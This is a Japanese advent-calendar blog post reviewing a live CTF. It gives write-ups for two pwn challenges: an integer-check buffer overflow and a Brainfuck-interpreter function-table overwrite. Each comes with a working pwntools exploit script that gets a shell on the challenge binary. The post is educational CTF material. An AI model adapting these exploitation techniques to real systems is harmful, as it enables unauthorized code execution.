TSG LIVE! 7 ライブCTF の振り返り

この記事は、TSG Advent Calendar 2021 の 22 日目のエントリです。

前回は platypus さんの「音楽ゲーム「BMS」の新しい実力推定手法の考案」でした。クオリティが高くてビックリしました😲

はじめに


11 月 22 日(月)、駒場祭企画として TSG LIVE! 7 が開催されました。その中のライブ CTF という企画に Red チームとして参加したので、取り組んだ問題の説明や感想を書こうと思います。


9 月頃にあったイワシイラ*1さん主催の Pwn 初心者分科会に参加しており、( mikanami*2 さんと一緒に)そのつてで参戦することになりました。


分科会が終わった後は CTF をサボっててヤバかったので、1 ヶ月くらい前から pwnable.xyzpicoCTFskbctf の問題をちょっとずつ解いて練習してました。


問題ファイルや公式 Writeup↓
github.com

PWELCOME (Pwn / 200 pt)

説明

$ checksec chall
[*] '/home/vagrant/Live/pwelcome/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


win()を呼べば、シェルが開けます。

名前の長さがここでチェックされます。

if (size + 8 > BUFSIZE) {
        puts("too long. sorry");
        return 0;
    }


BUFSIZE > 0 のチェックがないので、-1 を入力することで BOF を起こせます。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = ''
#PORT =
 
binf = ELF(bin_file)
 
def attack(io, **kwargs):
    io.sendlineafter('>', '-1')
    io.sendlineafter('>', b'a' * 0x28 + p64(binf.sym.win))
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

感想


めっっっっっっっっっっちゃ緊張した!!!!!


焦りすぎて tar & gzip のファイルを unzip で解凍しようとしてました。(は)


でも早めに解けてよかったです。

BF Sandbox (Pwn / 400 pt)


こちらは時間内に解けなかったのですが、競技終了後に公式 Writeup(リンクは上にあるよ)や pwnyaa さんの Writeup*3 を参考にして解いたので、説明を記しておきます。

説明

$ checksec chall
[*] '/home/vagrant/Live/bf/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled


Brainfuckインタプリタらしい。この問題でもwin()を呼べばおわりです。


bf では、データポインタ(カーソル)の値や、それが指す値を増減させたり、入出力したりすることができます。


この問題では、カーソルは、calloc()で確保されたチャンクmemの範囲内を動くと想定されています。ですが、実際にその範囲にあるかどうかのチェックはされてないので、カーソルがチャンクからはみ出してもメモリの値をいじれます。


gdbmemの近くを探ってみます。

// main() 内
inst_handlers = calloc(sizeof(void*), 256);
mem = calloc(sizeof(char), NMEM);
code = calloc(sizeof(char), NCODE);
table = calloc(sizeof(int), NCODE);

 

gdb-peda$ x/4g 0x555555558020
0x555555558020 <mem>:   0x0000555555559ab0      0x000055555555bad0
0x555555558030 <inst_handlers>: 0x00005555555592a0      0x000055555555aac0
gdb-peda$ x/4g 0x555555558028
0x555555558028 <table>: 0x000055555555bad0      0x00005555555592a0
0x555555558038 <code>:  0x000055555555aac0      0x0000000000000000


inst_handlersmemのすぐ下位にあります。これはinit_table()で作られた関数テーブルで、interp()で下のように使われます。

void interp() {
    int ip = 0;
    int head = 0;
    while (ip < len) {
        inst_handlers[code[ip]](&ip, &head);
    }
}


inst_handlersに格納されている関数のアドレスを書き換えるのが簡単&有力っぽいです(PIE ですが、オフセットからアドレスの差を計算し、その分だけ加減するので問題ありません)。


' [ ' と ' ] ' をセットにしないと parse する段階で exit してしまうことに注意。

#!/usr/bin/env python3
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = ''
#PORT =
 
binf = ELF(bin_file)
 
def attack(io, **kwargs):
    mem_top = 0x555555559ab0
    addr_handler = 0x5555555592a0 + ord('[') * 8  # inst_handlers['[']
    diff = mem_top - addr_handler
    exploit = '<' * diff
    exploit += '-' * 33
    exploit += '[]'
    io.sendline(exploit)
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

感想


競技中は、スタック上の saved rip を書き換えることばっか考えてました...

競技終了後のインタビューで Brainfuck がどうのこうのと言い訳してましたがそういう問題じゃなかったですね(反省)

ソースコードをしっかり読めば何とかできそうな問題だっただけにもうちょっと頑張りたかったです😭

esolang のインタプリタという面白い設定であるうえに短い exploit で済む、ライブ CTF にぴったりな問題だったと思います。

おわりに


とても緊張しましたが、思ってたよりゆるい雰囲気で楽しかったです。いい経験になりました。

次回の TSG LIVE ! はハイブリッド(オンライン&オフライン)でやるのかな?だとしたら楽しみですね。


明日はふぁぼんさんの「ライブコードゴルフ大会開催記」です。ライブコードゴルフでも esolang が何個か登場しており、観ていて面白かったです。
 

*1:今回のライブ CTF の責任者をされてた(感謝)

*2:rev 問の first blood をキメてた人(すごい)

*3:https://ptr-yudai.hatenablog.com/entry/2021/11/22/214729#pwn-BF-sandbox